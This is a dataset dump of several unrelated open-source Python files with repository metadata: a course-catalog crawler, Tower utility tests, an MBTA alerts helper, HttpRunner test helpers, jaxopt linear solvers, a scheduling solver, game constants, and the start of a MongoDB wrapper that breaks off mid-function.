"""Creates a rotating file handler for logging. Default level is info. Args: file_path (str): Path where to save the log to. max_bytes (int): Maximum size of output file. level (int): Desired logging level. Default is logging.INFO. max_bytes: x << y Returns x with the bits shifted to the left by y places. 100 << 20 === 100 * 2 ** 20 """ file_handler = logging.handlers.RotatingFileHandler( file_path, maxBytes=max_bytes, backupCount=10 ) file_handler.setFormatter(FORMATTER) file_handler.setLevel(level) log.addHandler(file_handler) if log.getEffectiveLevel() > level: log.setLevel(level) log.info("Log file: {0}".format(file_path))

25.361446

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null

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null

0

1

0

c5fbbbfef06dbcd8508e8e7c4079399f3e8df5f6

10,157

py

Python

src/catalog_engine_v2/template_v2.py

rxng8/Gettysburg-Course-Crawling-System

ba8a4d4b7beec0ed8554d8d9d8c57f26750463ec

[ "Apache-2.0", "BSD-3-Clause" ]

null

src/catalog_engine_v2/template_v2.py

rxng8/Gettysburg-Course-Crawling-System

ba8a4d4b7beec0ed8554d8d9d8c57f26750463ec

[ "Apache-2.0", "BSD-3-Clause" ]

null

src/catalog_engine_v2/template_v2.py

rxng8/Gettysburg-Course-Crawling-System

ba8a4d4b7beec0ed8554d8d9d8c57f26750463ec

[ "Apache-2.0", "BSD-3-Clause" ]

null

""" @author: Alex Nguyen @file: template_v2.py This file work extract the information from the template """ import os from typing import Dict, List import bs4 from bs4 import BeautifulSoup from datetime import date from .const import * from .page import Page from .utils import load_json_locators, request_json_from_api from .explorer import CourseExplorer, CoursePage, CoursePage_v2 class Template: """ This class is the template extractor """ def __init__( self, template_path: str, locators_path: str, course_crawling_mode=COURSE_CRAWLING_MODE.raw, course_explorer: CourseExplorer = None, data_path: str=None, verbose=True ) -> None: """ initializer Args: template_path (str): Path to template file. Defaults to '../data/template.html'. """ self.template_path = template_path self.locators_path = locators_path self.n_links = 0 self.toc: str = "" self.pages = [] self.title = "" self.course_crawling_mode = course_crawling_mode # either "api" or "raw" self.course_explorer = course_explorer self.verbose = verbose self.locators_data = self.__load_locators() self.template_src = self.__read_template_file(self.template_path) self.data_path = data_path if not os.path.exists(data_path): os.mkdir(data_path) # The actual data self.id_to_page: Dict[str, Page] = {} def __read_template_file(self, path) -> str: src = "" with open(path, "rb") as f: src = f.read() if not src: if self.verbose: print("Cannot read template file") return None return src def __load_locators(self) -> Dict: data = load_json_locators(self.locators_path) # TODO: check if locators is a proper structure if data: return data return None def insight(self): # TODO: Currently reaching maximum recursion depth, CAUSING ERROR # id_to_page_path = os.path.join(self.data_path, DEFAULT_SAVED_PICKLE_PAGE_DATA_FILE_NAME) # # If the data exists, no need to crawl any more # if os.path.exists(id_to_page_path): # with open(id_to_page_path, "rb") as f: # self.id_to_page = pickle.load(f) # print("The data exists, simply load the data.") # return soup = BeautifulSoup(self.template_src, 'html.parser') header_soup = BeautifulSoup(self.template_src, 'html.parser').body.find("header") toc_soup = BeautifulSoup(self.template_src, 'html.parser').body.find("nav") all_content_soup = BeautifulSoup(self.template_src, 'html.parser').body.find("main") for i, section in enumerate(all_content_soup.find_all("section")): # Loop through every elements first_tag_pointer = section.find_all()[0] current_page_header: bs4.BeautifulSoup = first_tag_pointer for j, tag in enumerate(first_tag_pointer.find_next_siblings()): # print(f"section: {i}, tag {j}: {tag}") # If it is contained in a div, then it is a link if tag.name == 'div': assert "id" in current_page_header.attrs, "Unexpected error: Wrong current_page_header behavior!" # Get the code html tag that contain the link for content to be replaced there! url_code_block = tag.find("code") # Because there can be a short_version text that does not require ontent to be there, we don't necessarily force # it to always having the link there. if url_code_block != None: url = url_code_block.find("a") # Get the first and only link in the code html block # Create a page this_page = Page( page_tag=PAGE_TAG.COURSE_PROG, html_id=current_page_header["id"], header_level=current_page_header.name, locators_data=self.locators_data, url=url["href"] ) self.id_to_page[current_page_header["id"]] = this_page if self.verbose: print(this_page) # Otherwise, it is a header else: current_page_header = tag # print(current_page_header) # Save the pickle serialized data inside the data folder # TODO: Currently reaching maximum recursion depth, CAUSING ERROR # self.__save_id_to_page_data() def clear_cached_data(self): id_to_page_path = os.path.join(self.data_path, DEFAULT_SAVED_PICKLE_PAGE_DATA_FILE_NAME) if os.path.exists(id_to_page_path): os.remove(id_to_page_path) def __save_id_to_page_data(self): id_to_page_path = os.path.join(self.data_path, DEFAULT_SAVED_PICKLE_PAGE_DATA_FILE_NAME) with open(id_to_page_path, "wb") as f: pickle.dump(self.id_to_page, f) def show_temporary_result(self) -> None: """ Show the user the webdriver of the resulted generated website """ # Driver - which can show the website temporarily using seleniums - class involved? pass def generate(self) -> str: soup = BeautifulSoup(self.template_src, 'html.parser') header_soup = BeautifulSoup(self.template_src, 'html.parser').body.find("header") toc_soup = BeautifulSoup(self.template_src, 'html.parser').body.find("nav") all_content_soup = BeautifulSoup(self.template_src, 'html.parser').body.find("main") for i, section in enumerate(all_content_soup.find_all("section")): # Loop through every elements first_tag_pointer = section.find_all()[0] current_course_subject: str = None current_page_header: bs4.BeautifulSoup = first_tag_pointer for j, tag in enumerate(first_tag_pointer.find_next_siblings()): # If it is contained in a div, then it is a link if tag.name == 'div': if current_page_header.text.strip().split()[-1] == "Courses": # If it is courses crawling, then we have two cases if self.course_crawling_mode == COURSE_CRAWLING_MODE.api: # TODO: Working on course crawling api here # Exclude the link tag_link = tag.find("code") # if there is no link (`code` html tag, we can concatenate that content to # the current tag, and continue) if tag_link == None: continue # do work tag_link.extract() # CoursePage v1, create course page based on the subject name # Create a new course page (department name) # NOTE: CoursePage v1 deprecated. # course_page = CoursePage(subject_name=current_course_subject, data=self.course_explorer.data) # CoursePage v2, create course page based on list of subject area abbreviation # First of all, get all the subject abbreviation in the content page subject_abbrs: List[str] = self.id_to_page[current_page_header["id"]].get_subject_abbrs() # Second, get from the actual page content course_page_v2 = CoursePage_v2(subject_abbrs=subject_abbrs, data=self.course_explorer.data) # for page_child_tag in course_page.gen_all_courses_for_this_subject().find_all(recursive=False): # tag.append(page_child_tag) for page_child_tag in course_page_v2.gen_all_courses_for_this_subject().find_all(recursive=False): tag.append(page_child_tag) elif self.course_crawling_mode == COURSE_CRAWLING_MODE.raw: # We are generating based on raw html crawled pages if current_page_header["id"] in self.id_to_page.keys(): # Exclude the link tag_link = tag.find("code") tag_link.extract() # Append the content of that page into the children list of the tag # tag.append(self.id_to_page[current_page_header["id"]].generate()) # Append each piece of the content of that page into the children list of the tag for page_child_tag in self.id_to_page[current_page_header["id"]].generate().find_all(recursive=False): tag.append(page_child_tag) else: # else, we have one case! if current_page_header["id"] in self.id_to_page.keys(): # Exclude the link tag_link = tag.find("code") tag_link.extract() # Append the content of that page into the children list of the tag # tag.append(self.id_to_page[current_page_header["id"]].generate()) # Append each piece of the content of that page into the children list of the tag for page_child_tag in self.id_to_page[current_page_header["id"]].generate().find_all(recursive=False): tag.append(page_child_tag) # Otherwise, it is a header else: current_page_header = tag # print(self.course_explorer.subjects_dict) # print(f"Searching {tag.text.strip()} to {self.course_explorer.subjects_dict.keys()} => {tag in self.course_explorer.subjects_dict.keys()}") if tag.text.strip() in self.course_explorer.subjects_dict.keys(): current_course_subject = tag.text.strip() # print(current_course_subject) original_html_string = \ """ <!DOCTYPE html> <html lang="en-US"> <head> <meta charset="utf-8" /> <title>Gettysburg College Course Catalog 2021–2022</title> </head> <body></body> </html> """ main_soup = BeautifulSoup(original_html_string, "html.parser") # Modify the date variable header_soup # https://www.programiz.com/python-programming/datetime/current-datetime today = date.today() # Textual month, day and year today_string = today.strftime(r"%B %d, %Y") header_soup_content_list = header_soup.find("section").find_all(recursive=False) header_soup_content_list[len(header_soup_content_list) - 1].string = f" generated on {today_string}." main_soup.body.append(header_soup) main_soup.body.append(toc_soup) main_soup.body.append(all_content_soup) return main_soup

39.216216

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4.559334

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0.024758

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0.419775

0.374068

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0

0.003437

0.255292

10,157

259

152

39.216216

0.829455

0.314857

0

0.320611

0

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0

0.007722

0.007634

1

0.061069

false

0.007634

0.068702

0

0.175573

0.015267

0

null

0

null

0

1

0

680131fc1bf24ebbce1221dc1343787c98373c6a

8,140

py

Python

test/test_atacac/test__utils.py

europ/aacac

ec73114d61358f28e937970adc43f7433eb0006e

[ "MIT" ]

7

2020-05-05T14:42:57.000Z

2020-12-15T11:22:08.000Z

test/test_atacac/test__utils.py

europ/aacac

ec73114d61358f28e937970adc43f7433eb0006e

[ "MIT" ]

5

2020-05-19T12:34:51.000Z

2020-08-05T11:14:17.000Z

test/test_atacac/test__utils.py

europ/aacac

ec73114d61358f28e937970adc43f7433eb0006e

[ "MIT" ]

2

2020-09-14T09:12:19.000Z

2021-04-13T10:11:22.000Z

import re import tempfile import textwrap from unittest import mock import click import pytest import yaml from atacac import _utils @pytest.mark.parametrize( "level, fatal", [ pytest.param("info", True, id="level='info', fatal"), pytest.param("INFO", True, id="level='INFO', fatal"), pytest.param("info", False, id="level='info'"), pytest.param("INFO", False, id="level='INFO'"), pytest.param("warn", True, id="level='warn', fatal"), pytest.param("WARN", True, id="level='WARN', fatal"), pytest.param("warn", False, id="level='warn'"), pytest.param("WARN", False, id="level='WARN'"), pytest.param("warning", True, id="level='warning', fatal"), pytest.param("WARNING", True, id="level='WARNING', fatal"), pytest.param("warning", False, id="level='warning'"), pytest.param("WARNING", False, id="level='WARNING'"), pytest.param("error", True, id="level='error', fatal"), pytest.param("ERROR", True, id="level='ERROR', fatal"), pytest.param("error", False, id="level='error'"), pytest.param("ERROR", False, id="level='ERROR'"), pytest.param("debug", True, id="level='debug', fatal"), pytest.param("DEBUG", True, id="level='DEBUG', fatal"), pytest.param("debug", False, id="level='debug'"), pytest.param("DEBUG", False, id="level='DEBUG'"), ] ) @mock.patch("atacac._utils.textwrap") @mock.patch("atacac._utils.click") def test_log(mock_click, mock_textwrap, level, fatal): message = "This is a message." mock_click.Abort = click.Abort mock_click.style.return_value = level mock_textwrap.indent.return_value = f"{level} {message}" try: _utils.log(level, message, fatal=fatal) mock_click.echo.assert_called_once() mock_click.echo.assert_called_with(f"{level} {message}") except click.Abort: assert fatal is True @pytest.mark.parametrize( "error, asset_type, query", [ pytest.param(None, "user", ("label", 1), id="user"), pytest.param(None, "organization", ("label", 1), id="organization"), pytest.param(None, "team", ("label", 1), id="team"), pytest.param(None, "credential_type", ("label", 1), id="credential_type"), pytest.param(None, "credential", ("label", 1), id="credential"), pytest.param(None, "notification_template", ("label", 1), id="notification_template"), pytest.param(None, "inventory_script", ("label", 1), id="inventory_script"), pytest.param(None, "project", ("label", 1), id="project"), pytest.param(None, "inventory", ("label", 1), id="inventory"), pytest.param(None, "job_template", ("label", 1), id="job_template"), pytest.param(None, "workflow", ("label", 1), id="workflow"), pytest.param("Unsupported asset type 'ABC123XYZ'!", "ABC123XYZ", ("label", 1), id="unsupported asset type") ] ) @mock.patch("tower_cli.get_resource") def test_tower_list(mock_get_resource, error, asset_type, query): result_assets = [{"id": 1, "name": "foo"}, {"id": 2, "name": "bar"}] mock_instance = mock_get_resource.return_value mock_instance.list.return_value = {"results": result_assets} try: retval = _utils.tower_list(asset_type, query) except _utils.Error as e: assert str(e) == error assert e.error_code == 1 else: mock_get_resource.assert_called_once() mock_get_resource.assert_called_with(asset_type) mock_instance.list.assert_called_once() mock_instance.list.assert_called_with(all_pages=True, query=("label", 1)) assert retval == result_assets @mock.patch("atacac._utils.tower_receive") @mock.patch("atacac._utils.tower_list") def test_tower_list_all(mock_tower_list, mock_tower_receive): def tower_list(asset_type, query): return [{'id': 1, 'name': f'Example {asset_type}'}] mock_tower_list.side_effect = tower_list mock_tower_receive.return_value = [ { 'project': 'Example project', 'inventory': 'Example inventory', }, ] result = _utils.tower_list_all([('label', 1)]) assert list(sorted(result, key=lambda i: i['name'])) == [ {'id': 1, 'type': 'inventory', 'name': 'Example inventory'}, {'id': 1, 'type': 'job_template', 'name': 'Example job_template'}, {'id': 1, 'type': 'project', 'name': 'Example project'}, ] mock_tower_list.assert_has_calls([ mock.call('job_template', [('label', 1)]), mock.call('project', [('name', 'Example project')]), mock.call('inventory', [('name', 'Example inventory')]), ]) @pytest.mark.parametrize( "error, asset_type, asset_name", [ pytest.param(None, "user", "file", id="user"), pytest.param(None, "organization", "file", id="organization"), pytest.param(None, "team", "file", id="team"), pytest.param(None, "credential_type", "file", id="credential_type"), pytest.param(None, "credential", "file", id="credential"), pytest.param(None, "notification_template", "file", id="notification_template"), pytest.param(None, "inventory_script", "file", id="inventory_script"), pytest.param(None, "project", "file", id="project"), pytest.param(None, "inventory", "file", id="inventory"), pytest.param(None, "job_template", "file", id="job_template"), pytest.param(None, "workflow", "file", id="workflow"), pytest.param("Unsupported asset type 'ABC123XYZ'!", "ABC123XYZ", "file", id="unsupported asset type") ] ) @mock.patch("atacac._utils.Receiver") def test_tower_receive(mock_Receiver, error, asset_type, asset_name): dictionary = {"dictA": {"key_1": "value_1"}, "dictB": {"key_2": "value_2"}} mock_instance = mock_Receiver.return_value mock_instance.export_assets.return_value = dictionary try: assert _utils.tower_receive(asset_type, asset_name) == dictionary except _utils.Error as e: assert str(e) == error assert e.error_code == 1 else: mock_Receiver.assert_called_once() mock_instance.export_assets.assert_called_once() mock_instance.export_assets.assert_called_with(all=False, asset_input={asset_type: [asset_name]}) @pytest.mark.parametrize( "assets", [ pytest.param("foo", id="file"), pytest.param(["foo", "bar"], id="file list"), ] ) @mock.patch("atacac._utils.Sender") def test_tower_send(mock_Sender, assets): mock_instance = mock_Sender.return_value _utils.tower_send(assets) mock_Sender.assert_called_once() mock_Sender.assert_called_with(False) mock_instance.send.assert_called_once() mock_instance.send.assert_called_with( assets if isinstance(assets, list) else [assets], None, None, "default") def test_load_asset_valid_path(): file_data = textwrap.dedent( """\ --- key_a: key_i: foo key_j: 111 key_b: key_x: bar key_y: 222 """ ) with tempfile.NamedTemporaryFile() as tmpfile: tmpfile.write(bytes(file_data, encoding="utf-8")) tmpfile.seek(0) result = _utils.load_asset(tmpfile.name) assert result == yaml.safe_load(file_data) def test_load_asset_invalid_path(): try: _utils.load_asset("./a/b/c/d/e/f/g/h/i/file") except _utils.Error as e: assert re.match(r"^Failed to read content of '\./a/b/c/d/e/f/g/h/i/file'$", str(e)) assert e.error_code == 1 @pytest.mark.parametrize( "value, sanitized", [ pytest.param('foo_bar.yml', 'foo_bar.yml'), pytest.param('foo/bar.yml', 'foo_bar.yml'), pytest.param('foo///bar.yml', 'foo_bar.yml'), pytest.param('foo.bar.yml', 'foo.bar.yml'), pytest.param('foo-bar.yml', 'foo-bar.yml'), pytest.param('foo bar baz foo bar.job.yml', 'foo_bar_baz_foo_bar.job.yml'), ] ) def test_sanitize(value, sanitized): assert _utils.sanitize_filename(value) == sanitized

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0.101124

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null

0

null

0

1

0

680265a46b2454e377941d3516c73e1d1910e868

1,010

py

Python

server/chalicelib/s3_alerts.py

mathcolo/t-performance-dash

497fcadceda15d62d1fd6b39817306d48c2c4be5

[ "MIT" ]

1

2020-03-06T02:09:02.000Z

server/chalicelib/s3_alerts.py

mathcolo/t-performance-dash

497fcadceda15d62d1fd6b39817306d48c2c4be5

[ "MIT" ]

11

2019-11-21T23:12:53.000Z

2019-11-22T02:26:48.000Z

server/chalicelib/s3_alerts.py

mathcolo/t-performance-dash

497fcadceda15d62d1fd6b39817306d48c2c4be5

[ "MIT" ]

1

2020-03-06T02:12:23.000Z

import json from chalicelib import MbtaPerformanceAPI, s3 def routes_for_alert(alert): routes = set() try: for alert_version in alert["alert_versions"]: for informed_entity in alert_version["informed_entity"]: if "route_id" in informed_entity: routes.add(informed_entity["route_id"]) except KeyError as e: print(f"Handled KeyError: Couldn't access {e} from alert {alert}") return routes def key(day): return f"Alerts/{str(day)}.json.gz" def get_alerts(day, routes): alerts_str = s3.download(key(day), "utf8") alerts = json.loads(alerts_str)[0]["past_alerts"] def matches_route(alert): targets = routes_for_alert(alert) return any(r in targets for r in routes) return list(filter(matches_route, alerts)) def store_alerts(day): api_data = MbtaPerformanceAPI.get_api_data("pastalerts", {}, day) alerts = json.dumps(api_data).encode("utf8") s3.upload(key(day), alerts, True)

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0.44

0.04

0

null

0

null

0

1

0

68049a81228436d30d12cebcbf7ce433b752d03b

1,415

py

Python

tests/data/debugtalk.py

jackleitao/HttpRunner

75a9020e900f4232a70e4d5a82f17503fc0315b7

[ "MIT" ]

null

tests/data/debugtalk.py

jackleitao/HttpRunner

75a9020e900f4232a70e4d5a82f17503fc0315b7

[ "MIT" ]

null

tests/data/debugtalk.py

jackleitao/HttpRunner

75a9020e900f4232a70e4d5a82f17503fc0315b7

[ "MIT" ]

null

import hashlib import hmac import json import os import random import string import time try: string_type = basestring PYTHON_VERSION = 2 import urllib except NameError: string_type = str PYTHON_VERSION = 3 import urllib.parse as urllib SECRET_KEY = "DebugTalk" BASE_URL = "http://127.0.0.1:5000" def get_sign(*args): content = ''.join(args).encode('ascii') sign_key = SECRET_KEY.encode('ascii') sign = hmac.new(sign_key, content, hashlib.sha1).hexdigest() return sign get_sign_lambda = lambda *args: hmac.new( 'DebugTalk'.encode('ascii'), ''.join(args).encode('ascii'), hashlib.sha1).hexdigest() def gen_md5(*args): return hashlib.md5("".join(args).encode('utf-8')).hexdigest() def sum_status_code(status_code, expect_sum): """ sum status code digits e.g. 400 => 4, 201 => 3 """ sum_value = 0 for digit in str(status_code): sum_value += int(digit) assert sum_value == expect_sum os.environ["TEST_ENV"] = "PRODUCTION" def skip_test_in_production_env(): """ skip this test in production environment """ return os.environ["TEST_ENV"] == "PRODUCTION" def gen_app_version(): return [ {"app_version": "2.8.5"}, {"app_version": "2.8.6"} ] def get_account(): return [ {"username": "user1", "password": "111111"}, {"username": "user2", "password": "222222"} ]

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null

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null

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1

0

6806ca0ceffb62909223de20352910ab5f4bed2b

5,677

py

Python

jaxopt/_src/linear_solve.py

gowerrobert/jaxopt

ed32d5e1d0104793a46f837a0594dae754dd4e2d

[ "Apache-2.0" ]

null

jaxopt/_src/linear_solve.py

gowerrobert/jaxopt

ed32d5e1d0104793a46f837a0594dae754dd4e2d

[ "Apache-2.0" ]

null

jaxopt/_src/linear_solve.py

gowerrobert/jaxopt

ed32d5e1d0104793a46f837a0594dae754dd4e2d

[ "Apache-2.0" ]

null

# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Linear system solvers.""" from typing import Any from typing import Callable from typing import Optional import jax import jax.numpy as jnp from jaxopt._src.tree_util import tree_add_scalar_mul def _materialize_array(matvec, shape, dtype=None): """Materializes the matrix A used in matvec(x) = Ax.""" x = jnp.zeros(shape, dtype) return jax.jacfwd(matvec)(x) def _make_ridge_matvec(matvec: Callable, ridge: float = 0.0): def ridge_matvec(v: Any) -> Any: return tree_add_scalar_mul(matvec(v), ridge, v) return ridge_matvec def solve_lu(matvec: Callable, b: jnp.ndarray) -> jnp.ndarray: """Solves ``A x = b`` using ``jax.lax.solve``. This solver is based on an LU decomposition. It will materialize the matrix ``A`` in memory. Args: matvec: product between ``A`` and a vector. b: array. Returns: array with same structure as ``b``. """ if len(b.shape) == 0: return b / _materialize_array(matvec, b.shape) elif len(b.shape) == 1: A = _materialize_array(matvec, b.shape, b.dtype) return jax.numpy.linalg.solve(A, b) elif len(b.shape) == 2: A = _materialize_array(matvec, b.shape, b.dtype) # 4d array (tensor) A = A.reshape(-1, b.shape[0] * b.shape[1]) # 2d array (matrix) return jax.numpy.linalg.solve(A, b.ravel()).reshape(*b.shape) else: raise NotImplementedError def solve_cholesky(matvec: Callable, b: jnp.ndarray) -> jnp.ndarray: """Solves ``A x = b``, using Cholesky decomposition. It will materialize the matrix ``A`` in memory. Args: matvec: product between positive definite matrix ``A`` and a vector. b: array. Returns: array with same structure as ``b``. """ if len(b.shape) == 0: return b / _materialize_array(matvec, b.shape) elif len(b.shape) == 1: A = _materialize_array(matvec, b.shape) return jax.scipy.linalg.solve(A, b, sym_pos=True) elif len(b.shape) == 2: A = _materialize_array(matvec, b.shape) return jax.scipy.linalg.solve(A, b.ravel(), sym_pos=True).reshape(*b.shape) else: raise NotImplementedError def solve_cg(matvec: Callable, b: Any, ridge: Optional[float] = None, init: Optional[Any] = None, **kwargs) -> Any: """Solves ``A x = b`` using conjugate gradient. It assumes that ``A`` is a Hermitian, positive definite matrix. Args: matvec: product between ``A`` and a vector. b: pytree. ridge: optional ridge regularization. init: optional initialization to be used by conjugate gradient. **kwargs: additional keyword arguments for solver. Returns: pytree with same structure as ``b``. """ if ridge is not None: matvec = _make_ridge_matvec(matvec, ridge=ridge) return jax.scipy.sparse.linalg.cg(matvec, b, x0=init, **kwargs)[0] def _rmatvec(matvec, x): """Computes A^T x, from matvec(x) = A x, where A is square.""" transpose = jax.linear_transpose(matvec, x) return transpose(x)[0] def _normal_matvec(matvec, x): """Computes A^T A x from matvec(x) = A x, where A is square.""" matvec_x, vjp = jax.vjp(matvec, x) return vjp(matvec_x)[0] def solve_normal_cg(matvec: Callable, b: Any, ridge: Optional[float] = None, **kwargs) -> Any: """Solves the normal equation ``A^T A x = A^T b`` using conjugate gradient. This can be used to solve Ax=b using conjugate gradient when A is not hermitian, positive definite. Args: matvec: product between ``A`` and a vector. b: pytree. ridge: optional ridge regularization. **kwargs: additional keyword arguments for solver. Returns: pytree with same structure as ``b``. """ def _matvec(x): """Computes A^T A x.""" return _normal_matvec(matvec, x) if ridge is not None: _matvec = _make_ridge_matvec(_matvec, ridge=ridge) Ab = _rmatvec(matvec, b) return jax.scipy.sparse.linalg.cg(_matvec, Ab, **kwargs)[0] def solve_gmres(matvec: Callable, b: Any, ridge: Optional[float] = None, tol: float = 1e-5, **kwargs) -> Any: """Solves ``A x = b`` using gmres. Args: matvec: product between ``A`` and a vector. b: pytree. ridge: optional ridge regularization. **kwargs: additional keyword arguments for solver. Returns: pytree with same structure as ``b``. """ if ridge is not None: matvec = _make_ridge_matvec(matvec, ridge=ridge) return jax.scipy.sparse.linalg.gmres(matvec, b, tol=tol, **kwargs)[0] def solve_bicgstab(matvec: Callable, b: Any, ridge: Optional[float] = None, **kwargs) -> Any: """Solves ``A x = b`` using bicgstab. Args: matvec: product between ``A`` and a vector. b: pytree. ridge: optional ridge regularization. **kwargs: additional keyword arguments for solver. Returns: pytree with same structure as ``b``. """ if ridge is not None: matvec = _make_ridge_matvec(matvec, ridge=ridge) return jax.scipy.sparse.linalg.bicgstab(matvec, b, **kwargs)[0]

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null

0

null

0

1

0

68075b32246e32044e505785091c503b9148dc65

4,023

py

Python

msp/solvers/_random_solver.py

bilalsp/msp

a336e9dfc3aa19352c21de5d3ce90d2b5c6f38c6

[ "MIT" ]

2

2021-12-26T02:40:19.000Z

2022-01-14T05:44:48.000Z

msp/solvers/_random_solver.py

bilalsp/msp

a336e9dfc3aa19352c21de5d3ce90d2b5c6f38c6

[ "MIT" ]

null

msp/solvers/_random_solver.py

bilalsp/msp

a336e9dfc3aa19352c21de5d3ce90d2b5c6f38c6

[ "MIT" ]

null

""" The :mod:`mps.solvers._random_solver` module defines random solver. Note: Random solver return best schedule from pre-defined search space decided based on parameter `best_out_of`. """ import functools import tensorflow as tf import tensorflow_probability as tfp from msp.utils import MSPEnv from msp.utils.objective import compute_makespan class RandomSolver(tf.Module): def __init__(self, best_out_of=100, seed=None, **kwargs): super(RandomSolver, self).__init__(**kwargs) self.msp_env = MSPEnv() self.best_out_of = best_out_of self.seed = seed self.is_build = False if seed: self.rand_gen = tf.random.experimental.Generator.from_seed(seed, alg="philox") else: self.rand_gen = tf.random.Generator.from_non_deterministic_state() def build(self, input_shape): batch_size, num_node, num_node = input_shape.adj_matrix self.best_schedules = tf.Variable( initial_value=tf.zeros((batch_size, num_node, 2), dtype=tf.int64), trainable=False) self.best_makespans = tf.Variable( initial_value=tf.constant(1e10, shape=(batch_size,1)), trainable=False) self.msp_env.build(input_shape) self.is_build = True def __call__(self, inputs): # Create variables on first call. if not self.is_build: self.build(inputs.shape) # reintialize variables on each call. self.reset(inputs.shape) for _ in range(self.best_out_of): # randomly generates schedules schedules, makespans = self._gen_rand_schedules(inputs) # update best schedule and makespan self.update(schedules, makespans) return self.best_schedules, self.best_makespans def reset(self, input_shape): batch_size, num_node, num_node = input_shape.adj_matrix best_schedules_shape = (batch_size, num_node, 2) best_makespans_shape = (batch_size, 1) self.best_schedules.assign( tf.zeros(best_schedules_shape, dtype=self.best_schedules.dtype)) self.best_makespans.assign( tf.constant(1e10, shape=best_makespans_shape, dtype=self.best_makespans.dtype)) def update(self, schedules, makespans): self.best_schedules.assign( tf.where( tf.less(makespans, self.best_makespans)[:,:,tf.newaxis], schedules, self.best_schedules )) self.best_makespans.assign( tf.where( tf.less(makespans, self.best_makespans), makespans, self.best_makespans )) @tf.function def _gen_rand_schedules(self, inputs): """Generates a random schedule for a given input.""" schedules = tf.TensorArray(tf.int64, size=0, dynamic_size=True) time_step = self.msp_env.reset() step = 0 while not time_step.is_last(): selected_node = self._select_node(time_step.mask) actions = {'inputs': inputs, 'selected_node': selected_node} time_step = self.msp_env.step(actions) schedules = schedules.write(step, tf.stack([selected_node, time_step.mrg_machine], axis=-1)) step += 1 # TensorArray --> Tensor schedules = tf.transpose(schedules.stack(), perm=[1,0,2,3]) schedules = tf.squeeze(schedules) # B x V x 2 schedules = tf.concat(schedules, axis=1) return schedules, compute_makespan(inputs, schedules) def _select_node(self, mask): """Randomly select a node based on mask.""" rand_logits = self.rand_gen.normal(mask.shape) + mask rand_probs = tf.nn.softmax(rand_logits, axis=-1) dist = tfp.distributions.Categorical(probs=rand_probs, dtype=tf.int64) selected_node = tf.squeeze(dist.sample(1, seed=self.seed), axis=0) return selected_node

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null

0

null

0

1

0

680a6737d084b2f058e0fb395e8f516c4aaa0aea

1,714

py

Python

muddery/utils/defines.py

noahzaozao/muddery

294da6fb73cb04c62e5ba6eefe49b595ca76832a

[ "BSD-3-Clause" ]

null

muddery/utils/defines.py

noahzaozao/muddery

294da6fb73cb04c62e5ba6eefe49b595ca76832a

[ "BSD-3-Clause" ]

null

muddery/utils/defines.py

noahzaozao/muddery

294da6fb73cb04c62e5ba6eefe49b595ca76832a

[ "BSD-3-Clause" ]

null

""" This module defines constent constant values. """ # quest dependencies DEPENDENCY_NONE = "" DEPENDENCY_QUEST_CAN_PROVIDE = "CAN_PROVIDE" DEPENDENCY_QUEST_ACCEPTED = "ACCEPTED" DEPENDENCY_QUEST_NOT_ACCEPTED = "NOT_ACCEPTED" DEPENDENCY_QUEST_IN_PROGRESS = "IN_PROGRESS" DEPENDENCY_QUEST_NOT_IN_PROGRESS = "NOT_IN_PROGRESS" DEPENDENCY_QUEST_ACCOMPLISHED = "ACCOMPLISHED" # quest accomplished DEPENDENCY_QUEST_NOT_ACCOMPLISHED = "NOT_ACCOMPLISHED" # quest accepted but not accomplished DEPENDENCY_QUEST_COMPLETED = "COMPLETED" # quest complete DEPENDENCY_QUEST_NOT_COMPLETED = "NOT_COMPLETED" # quest accepted but not complete # quest objective types OBJECTIVE_NONE = "" OBJECTIVE_TALK = "OBJECTIVE_TALK" # finish a dialogue, object: dialogue_id OBJECTIVE_ARRIVE = "OBJECTIVE_ARRIVE" # arrive a room, object: room_id OBJECTIVE_OBJECT = "OBJECTIVE_OBJECT" # get some objects, object: object_id OBJECTIVE_KILL = "OBJECTIVE_KILL" # kill some characters, object: character_id # event trigger types EVENT_TRIGGER_NONE = 0 EVENT_TRIGGER_ARRIVE = "EVENT_TRIGGER_ARRIVE" # at attriving a room. object: room_id EVENT_TRIGGER_KILL = "EVENT_TRIGGER_KILL" # caller kills one. object: dead_one_id EVENT_TRIGGER_DIE = "EVENT_TRIGGER_DIE" # caller die. object: killer_id EVENT_TRIGGER_TRAVERSE = "EVENT_TRIGGER_TRAVERSE" # before traverse an exit. object: exit_id EVENT_TRIGGER_ACTION = "EVENT_TRIGGER_ACTION" # called when a character act to an object # event types EVENT_NONE = "" EVENT_ATTACK = "EVENT_ATTACK" # event to begin a combat EVENT_DIALOGUE = "EVENT_DIALOGUE" # event to begin a dialogue

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false

0

null

0

null

0

1

0

680b6cd878f9ea3ef233e78c3581a9213fd0cb7b

7,450

py

Python

src/branch.py

danielstuart14/branch

84018288279f701d31e2b7866c77b6e68a170b46

[ "Apache-2.0" ]

null

src/branch.py

danielstuart14/branch

84018288279f701d31e2b7866c77b6e68a170b46

[ "Apache-2.0" ]

null

src/branch.py

danielstuart14/branch

84018288279f701d31e2b7866c77b6e68a170b46

[ "Apache-2.0" ]

null

""" BranchDB - A Multilevel Database A layer for MongoDB that behaves as a multilevel/hierarchical database Author: Daniel P. Stuart This software is licensed under Apache License 2.0 """ import pymongo import json from bson.objectid import ObjectId import re import itertools # MongoDB Connection class connect(): def __init__(self, server, name): print("Initializing client...") client = pymongo.MongoClient(server) client.admin.command('ismaster') if not(name in client.database_names()): print("Creating %s database..." % name) self.db = client[name] if not(self.__collectionExists("/")) or not(self.__collectionExists("index")): print("Creating root and index collections...") self.__createCollection("/") self.__createCollection("index") print("Client ready!\n") # Collection Functions def __getCollections(self): return self.db.collection_names() def __collectionExists(self, collection): if collection in self.__getCollections(): return True return False def __createCollection(self, collection): self.db.create_collection(collection) def __readCollection(self, collection): return list(self.db[collection].find({})) def __deleteCollection(self, collection): if collection in ["index","/"]: raise PermissionError("%s can't be deleted!" % collection) if not(self.__collectionExists(collection)): raise FileNotFoundError("%s doesn't exist!" % collection) if self.isAncestor(collection): raise FileExistsError("%s has descendants!" % collection) self.db[collection].drop() def __pathToCollection(self, path): if path != "index" and path != "/": if path.endswith("/"): path = path[:-1] ret = 